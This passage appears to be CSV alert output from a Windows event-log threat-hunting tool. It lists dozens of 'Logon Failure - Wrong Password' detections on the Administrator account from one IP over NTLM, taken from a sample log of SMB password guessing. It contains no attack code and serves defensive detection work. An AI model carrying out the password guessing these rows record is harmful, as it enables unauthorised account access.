NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.981 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: c3DpedXujvQpZnjQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.019 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BsaSjESaUHbsIxJL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.062 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ca4dlxyEco3VOapw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.100 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9Z6lJc7DXAOcNZ2G : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.144 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5Olt5mS7na07VDJE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.185 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oCFeQcUMDTs0ev8v : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.233 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FYmH6CQrizoZ1DAx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.285 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iYtujXkzySwZQFk8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.327 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KE9v6wzrebvjvDIl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.365 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 81gmRFFBHI1s4dqi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.409 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: C8gHWPDjQM8M3tiQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.442 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: szj4mJvtFV06CuR2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.493 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ceGEl87hOM0InAAd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.541 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XRv3C3rRxYXTgckj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.581 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TaPkJPIQnbL3VyUC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.618 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LZ7PZAT6hWWHNc29 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.664 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AJVD4uVhwfLSJ6Ab : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.704 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Q6KME1I6tE0v9UAq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.751 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1Qtt1rk4n3tOJko2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.793 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: prPsA8EZHGfGPSHm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.825 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TQqGXnwHtB87LSzT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.870 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6uLT1bjaIS0XBsWC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.921 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PIgpraQTxFrcLphN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.957 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Q1D6qy57XImq4prx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.992 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5Kw44Ffh4DIPlyuM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.037 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oKUdmKU74RmJysAx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.085 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gZUTzZw0T1tYRSP5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.127 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nEOfjuAMa7HTsfcP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.243 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: e7bG19emMTmyBQNm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.332 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YsLkgWukfqS3wWJK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.373 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: liFcZjjpY3xXwe9j : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.422 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vBUgbfzx2OEcOxWL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.475 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iVCV0WoZmLTFNH71 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.516 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZJmxGOqck4oQi1kL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.561 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: w7lYqaUvEtTp18DK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.604 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yZ9xQmGn61JJDeQS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.649 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XuMXpvY9fmLm0eBq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.701 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ofesuNErTLWuN0k4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.745 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KsNq7SThd3b8oTwF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.797 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MmRWg5gNRcxDMFjg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.841 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JXrGn6LehVwTGNNj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.880 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vIq9DS71jCjWbgdY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.937 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kw2BQbdUml0EPNOs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.981 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ugOqsKQFGmmLac3s : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.021 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3rZHUbOUVBYiHarB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.049 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: otv8ByrbWWoTz7pi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.083 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HVlHkJu4Gxc9dhxM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.129 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xKF5OCqLVVKvung0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.162 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: avAdpkOlP0xji1vG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.214 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VFgzMjEz6M0LBnX7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.260 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kdJb0obVAqkY9GCw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.301 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6ciSoQcLUgLfzaNg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.340 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RECrGCCTJuDPlvYJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.384 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1Z2w67uyC2NOgecT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.425 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lRVetRdHvz0lJkOC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.470 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yXrtxquzyzxKnQgD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.526 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pWOoEIEem7Q9Mdx0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.565 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 86n5nIm04810NptD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.608 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: M08noHtTqqx3pxSe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.651 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3P983pRVfCVlVTyA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.699 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eMKlcLvRhlx9FMcZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.733 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0gwEDgRF2wUgTDAy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.780 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: I9Q2GSALfiuEbulo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.824 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DKTja76Qe9vSjrdN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.868 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DXXuUyKlvaOgMNSu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.904 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: X3qdEQReXwHAZUS8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:31.965 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FqtfHJKOfmWXEd4s : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.021 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mVv7vete3uXixggi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.060 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0PF6E3wRP0Tk39ss : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.106 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: touwF4IXUahG7jvJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.161 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lMOi7rygc7SJ5TPQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.208 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QjM1K5eFSA9U37oE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.258 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HgzyZqFU9v2kDVvG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.301 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hJeVj2h0sBxwBuGv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.355 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FNXI8b6Zcj1zU3JY : IP Address: 192.168.198.149 : AuthPackage: 